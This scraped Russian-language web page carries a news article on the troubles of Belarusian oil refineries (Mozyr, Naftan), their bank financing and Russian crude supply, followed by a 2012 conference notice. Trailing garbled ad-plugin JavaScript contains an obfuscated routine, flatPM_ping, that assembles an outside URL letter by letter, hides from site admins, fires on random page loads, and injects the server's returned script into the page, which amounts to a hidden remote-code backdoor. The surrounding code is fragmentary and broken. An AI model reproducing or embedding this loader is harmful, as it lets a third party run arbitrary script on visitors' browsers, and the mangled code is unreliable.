Положение МНПЗ усугубилось решением правительства о перечислении в безакцептном порядке в фонд национального развития около 100 млн. USD прибыли за 2005 г.

, которое привело к замедлению реализации приоритетных инвестпроектов в модернизацию предприятия. По оценкам представителей МНПЗ, если программа техперевооружения стоимостью свыше 630 млн. USD, рассчитанная до 2010 г.

, не будет выполнена, продукция предприятия уже через два года не будет отвечать европейским стандартам.

По словам замглавного инженера ОАО «Нафтан» Анатолия Константинова, его предприятие фактически нерентабельно. «И это удивительно, т.к. нефть покупается по ценам, ниже мировых», — сказал он. В условиях, в которых находится завод, программа техперевооружения, стоимостью свыше 660 млн.USD, практически невыполнима, считает он.

В свою очередь, гендиректор «Нафтана» Вячеслав Якушев добавил, что в настоящее время на предприятии приостановлены все инвестпроекты, а из российских давальческих структур с «Нафтаном» работает только компания «Роснефти» — «Юнивест-М». «Чтобы развиваться дальше, нам нужно брать в больших объемах инвестиционные кредиты, но для этого у нас должна быть своя прибыль», — сказал он.

В то же время, по словам члена правления ОАО «Приорбанка» Вадима Матюшкина, белорусские банки не в состоянии удовлетворить потребности нефтяных компаний, а «затащить иностранные банки в совместное кредитование непросто».

Он отметил, что переход на новые условия поставок нефти и экспорта нефтепродуктов выявил ряд проблем, в первую очередь, нестабильность белорусского законодательства по отношению к нефтетрейдерам и нефтепереработчикам.

По словам банкира, с начала года перед предприятиями остро стоит вопрос конвертации рублевой выручки для расчетов по валютным кредитам. «Резкое повышение рентабельности внутреннего рынка привело к проблемам с конвертацией валюты. Это — крупные суммы, и не было уверенности, что Нацбанк мог обеспечить конвертацию.

Эта неуверенность продолжает сохраняться», — сказал представитель «Приорбанка», указав также на рост кредиторской задолженности белорусских НПЗ. Кроме того, В.Матюшкин отметил обеспокоенность белорусских банков дефицитом информации со стороны правительства.

«Непонятна стратегия государства, у нас нет объективной картины нефтяного сектора, и мы не знаем, какие шаги предпримет правительство по его регулированию», — сказал он.

По мнению банкира, ситуация с финансированием закупки нефти очередной раз изменится после создания Белорусской нефтяной компании, которая должна начать работу с 1 июля т.г.

 Он считает, что если эта компания объединит закупку всей нефти, то объем финансирования ее деятельности должен составить не менее 500-600 млн. USD в месяц.

По его словам, «Raiffeisen» может финансировать деятельность этой компании, но «инвесторам необходимо понимание, кого они финансируют и зачем. Кроме того, «инвестор должен видеть стратегию заемщика, а не только заверения, что все будет хорошо».

Все эти условия, а также переход на новую ценовую формулу закупки нефти и реализации нефтепродуктов повысили банковские риски, поэтому «Приорбанк» вынужден вернуться к классической схеме кредитования, когда наличие контракта на экспорт нефтепродуктов станет обязательным условием для получения кредита на закупку нефти. В.Матюшкин не исключает также, что в 2007 г. возможно удорожание привлекаемых на внешнем рынке ресурсов на 1-1,5% (в 2006 г. кредиты привлекались под 8-10% годовых).

Вместе с тем представитель «Приорбанка» пообещал, что задание правительства по привлечению внешних кредитов для финансирования НПЗ будет в любом случае выполнено, несмотря на то, что доля кредитов в структуре баланса «Приорбанка» уже составляет критические 80%. «Заводы должны работать, и они будут работать», — сказал В.Матюшкин.

Как видят в России ситуацию в белорусской нефтепереработке?

Яков РУДЕРМАН, гендиректор исследовательской группы «Петромаркет»

Ранее белорусский рынок был чрезвычайно привлекательным для российских давальческих компаний, но изменение условий поставки нефти и экспорта нефтепродуктов, а также повышение рентабельности нефтепереработки в России коренным образом повлияли на эту ситуацию. Кроме того, в 2005-2006 гг. в России снизились темпы добычи нефти, и тот объем прироста, который ранее направлялся на экспорт, стал направляться на переработку.

В плане объема российских поставок лучшим для Беларуси был 2006 г., когда ее доля в общем объеме российского экспорта нефти составляла 8,3%. В Беларусь нефть поставлялась из всех российских регионов всеми видами транспорта — даже ж/д поставки были эффективными. С Беларусью работали практически все российские компании.

В 2006 г. белорусский экспорт российской нефти достиг более 1,1 млн. т, объем переработки внутри республики составил 750 тыс. т. До октября 2006 г. поставки были равномерными, около 60 тыс. т в сутки.

Когда в октябре произошло падение, оно формально было объяснено снижением давления в трубе по указанию «Транснефти», но нужно понимать, что на самом деле за этим стояло различие интересов сторон, участвующих в этих процессах.

Эти разногласия привели к изменению для Беларуси с января 2007 г. условий поставки нефти и экспорта нефтепродуктов, что, в свою очередь, «убило» давальческую переработку и в целом крайне негативно отразилось на нефтеперерабатывающем комплексе страны.

Беларусь не может сама покупать нефть, в вопросах поставок нефтяного сырья страна полностью зависит от России и с этим надо что-то делать. Успех модернизации белорусских НПЗ напрямую зависит от того, как будут загружены их мощности. В 2007 г. Беларусь, скорее всего, не сможет экспортировать добываемую в республике нефть, а будет направлять ее на переработку на свои НПЗ.

Сейчас объемы прокачки для Беларуси недостаточны. По прогнозам экспертов, с 1 июля 2007 г. ситуация с загрузкой белорусских НПЗ еще более ухудшится в связи с ожидаемым ростом пошлин в России.

Кроме того, строительство Россией нефтепровода Унеча — Приморск и нефтепровода Восточная Сибирь — Тихий океан (ВСТО) создаст дополнительные риски по сокращению объемов поставок российской нефти в Беларусь. Несмотря на то, что вряд ли мощности ВСТО составят более 30 млн.

т в год, если экономика этого направления будет хорошей, пострадают другие рынки, в т.ч. белорусский. Вместе с тем радикальных рисков снижения поставок в Беларусь нет, т.к. у России пока не существует альтернативы переброски 12-15 млн. т нефти.

Поэтому взаимовыгодное решение должно быть найдено исключительно на политическом уровне двух стран.

Елена БЕРШАТСКАЯ

Источник: https://neg.by/novosti/otkrytj/belorusskaya-neftepererabotka-8047

Нефтепереработка и экспорт нефтепродуктов Республики Беларусь

Участники пятой международной конференции «Нефтепереработка и экспорт нефтепродуктов Республики Беларусь» обсудят перспективы рынка белорусских нефтепродуктов и торговые операции в условиях Таможенного Союза.

Международная конференция «Нефтепереработка и экспорт нефтепродуктов Республики Беларусь – перспективы развития и экономическая эффективность» пройдет в Минске 2-3 апреля 2012. Конференция организована компанией Confidence Capital – ведущим оператором специализированных конференций и тренингов по нефтегазовой тематике на рынке СНГ.

Планируется, что в ходе конференции ведущие эксперты отрасли обсудят влияние Таможенного Союза  на торговые операции с Украиной и Европой, изменение условий операций с Россией и Казахстаном в связи с образованием Единого Экономического пространства, коснутся вопросов  изменения цен на белорусские нефтепродукты, после введения в России налогового режима 6066. Профессионалы также оценят перспективы белорусской нефтеперерабатывающей отрасли,  в частности, перспективы расширения рынка сбыта белорусских нефтепродуктов в ближайшее время, наращивания объемов и улучшения качества нефтепродуктов.

Ключевые темы сессионных заседаний:

  • Реализация белорусских нефтепродуктов. Экспортные операции.

–         Обзор рынков сбыта: спрос и предложение.

–         Системы тарифов, налогообложения и ценообразования.

  • Модернизация НПЗ в 2012-2016гг. Объемы и качество выпускаемых нефтепродуктов.
  • Экспортные маршруты и логистика поставок.

Белорусская конференция по вопросам нефтепереработки и экспорта нефтепродуктов проводится ежегодно с 2007 года.

  Участие в предыдущих мероприятиях приняли более 300 представителей крупнейших нефтегазовых компаний, международных банков, сервисных компаний, среди них: BP, Deutsche Bank, Litasco, Neste Oil, Nordic Storage, TOTSA, Trafigura, BNP Paribas, SGS, Transbunker, Shell, Vitol, «Лукойл», «Торговый Дом Мажейко Нафта», «РуссНефть», ТНК-ВР и другие.

  • V Международная конференция «Нефтепереработка и экспорт нефтепродуктов Республики Беларусь» станет площадкой  для установления деловых контактов, принятия важных решений по ключевым направлениям развития отрасли, местом сосредоточения всей необходимой аналитической информации.
  • На конференции будут представлены профессиональный обзор и анализ рынков нефти и нефтепродуктов Республики Беларусь и Северо-Западной Европы, дана  стратегическая оценка новых возможностей,   использования существующей инфраструктуры и развития альтернативных торговых маршрутов.
  • Участие в конференции  – это  возможность прямого общения с руководителями и специалистами белорусского нефтяного сектора.
  • Заявки на участие принимаются до 15 марта 2012 г.

Скидка ранней регистрации 7% действует до 15 февраля!!!

Подробная программа конференции и другая необходимая информация на сайте Confidence Capital: http://www.ccapital.co.uk/

По любым вопросам, пожалуйста,  обращайтесь:

Екатерина Полуянова:  e_poluyanova@ccapital.co.uk,

+442083491999

Источник: https://www.vnedra.ru/meropriyatiya/neftepererabotka-i-eksport-neftepro-908/

Ссылка на основную публикацию
Adblock
detector
":'':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e'))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('
'+c+"
"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e'))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'
Закрыть через '+o.how.outgoing.timer_count+"
":'':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('
'+c+"
");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;eflat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_subflat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub.flatPM_sidebar)");0<_.length t="ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t *").last().after('
'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()};var parseHTML=function(){var o=/]*)\/>/gi,d=/",""],thead:[1,"","
"],tbody:[1,"","
"],colgroup:[2,"","
"],col:[3,"","
"],tr:[2,"","
"],td:[3,"","
"],th:[3,"","
"],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(d.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(o,"$2>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0/gm,"").replace(//gm,"").trim(),e.code_alt=e.code_alt.replace(//gm,"").replace(//gm,"").trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",n=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,r='
'+a+" через "+o+'
'+n+'
',i=e.once;l(t).each(function(){var e=l(this);e.wrap('
');var t=e.closest(".flat__4_video");-1!==r.indexOf("go"+"oglesyndication")?t.append(r):flatPM_setHTML(t[0],r),e.find(".flat__4_video_flex").one("click",function(){l(this).addClass("show")})}),l("body").on("click",".flat__4_video_item_hover",function(){var e=l(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),n=parseInt(o),r=setInterval(function(){a.text(--n),n'):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){l(this).closest(".flat__4_video_flex").remove(),"true"==i&&l(".flat__4_video_flex").remove()})};